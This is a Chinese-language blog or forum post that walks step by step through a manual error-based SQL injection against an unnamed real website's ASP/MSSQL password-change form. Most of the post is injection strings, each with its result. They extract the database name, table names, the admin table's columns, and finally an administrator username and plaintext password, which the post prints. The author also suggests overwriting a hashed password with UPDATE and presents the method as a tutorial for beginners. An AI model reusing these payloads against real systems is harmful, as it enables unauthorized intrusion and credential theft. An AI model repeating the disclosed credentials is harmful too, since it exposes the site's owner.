晚上,閑來無事,QQ群又吵死..無奈,于是對經常用的網絡硬盤的一個網站測試,現在的注入弱點都已經封得不能再封了,沒辦法,不過逛來逛去,來到了一個提交表單的面前"修改密碼"。
本次全為手動,沒有用任何工具.
在用戶名中加了一個',返回以下錯誤
Microsoft OLE DB Provider for ODBC Drivers 錯誤 '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]字符串 '' AND datediff(hour,ChangeTime,getdate())<=1 AND Succeed=0' 之前有未閉合的引號。
/service/changepass.asp,行 99
nnd,原來是asp+mssql,好,要玩就玩大的.
既然用戶名里可以輸入,其它三個框都沒有必要了,于是在本地搭建一個表單,maxlength="150" size="150",設得長一些,好可以輸入語句.
首先說明,在mssql數據庫中sysdatabase中是默認系統表,包含master、model、msdb、mssqlweb和empdb 5個數據庫的項,dbid從1到5是系統的,分別是以上5個項,如果用戶新建的話,那么dbid肯定從6開始,那么我們就試試暴出它玩玩.
在用戶輸入框中輸入:
' and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6) and '1'='1
返回如下圖所值
好的,一個Northwind 庫名暴了出來,哎~~要的不是這個,下來依次提交dbid=7,報出了如下圖結果:
HOHO
這個是我所要的,因為我把dbid從6到8到試過了,后面都是返回了正常頁面,而且當dbid=7的時候,這里的庫名和網站的名稱是一樣的,所以確定為網站的庫名。 其中我已經把庫名屏蔽,以下用xxxxxxx來表示.............
既然得到了庫名,相應的就是要暴出他的表名。OK,依然往下提交。
' and 0<>(select top 1 name from xxxxxxx.dbo.sysobjects where xtype='U') and '1'='1
OK,結果暴出了如下圖
哎,得到Email_filts不是我要的,繼續提交
'and 0<>(select top 1 name from xxxxxxx.dbo.sysobjects where xtype='U' and name not in('Email_Filts')) and '1'='1
得到'ADDSize_LOG'
繼續提交
'and 0<>(select top 1 name from xxxxxxx.dbo.sysobjects where xtype='U' and name not in('Email_Filts','ADDSize_LOG')) and '1'='1
得到'admin',好了,得到他了,應該沒有錯,HOHO
得到admin這個表,下來就是要表中的值了.
在用戶名中提交:
'and 0<>(select count(*) from xxxxxxx.dbo.sysobjects where xtype='U' and name='admin' and uid>(str(id))) and '1'='1
如圖得到ID號:1653580929
哈哈,既然有了ID號,這下還不死??
現次提交:
'and 0<>(select top 1 name from xxxxxxx.dbo.syscolumns where id=1653580929) and '1'='1
暴出adminid,不是我要的,繼續:
'and 0<>(select top 1 name from xxxxxxx.dbo.syscolumns where id=1653580929 and name not in('adminid')) and '1'='1
暴出adminpass,繼續:
'and 0<>(select top 1 name from xxxxxxx.dbo.syscolumns where id=1653580929 and name not in('adminid','adminpass')) and '1'='1
暴出adminuser,再繼續:
'and 0<>(select top 1 name from xxxxxxx.dbo.syscolumns where id=1653580929 and name not in('adminid','adminpass','adminuser')) and '1'='1
呵呵,返回正常頁面,不用了,一口氣暴了3個值夠了.
這下有了adminuser和adminpass,是個人都知道是什么吧,這下我們要這2個字段的值.
用最精典的如:user>0來暴
在用戶名中輸入:
'and 0<>(select adminid from xxxxxxx.dbo.admin where adminuser>1) and '1'='1
如圖:
adminuser=liqianlong,啥也不說了
再輸入:
'and 0<>(select adminid from xxxxxxx.dbo.admin where adminuser='liqianlong' and adminpass>1) and '1'='1
如圖:
adminpass=laoziyanhuifeiyang
暈,密碼:老子煙灰飛揚????? 牛!!! 不說啥了,還不加密。如果加密了也沒關系,可以用updata來修寫他的密碼。
弄了半天,一看,網頁和數據庫不是一個服務器,我昏,玩完,iis記錄,ai....我的權限,不是讓我用同網段來.......#$#$#$#%$%&^%&
呵呵,這是給新手一個小小手工測試方法,關鍵在于靈活應用.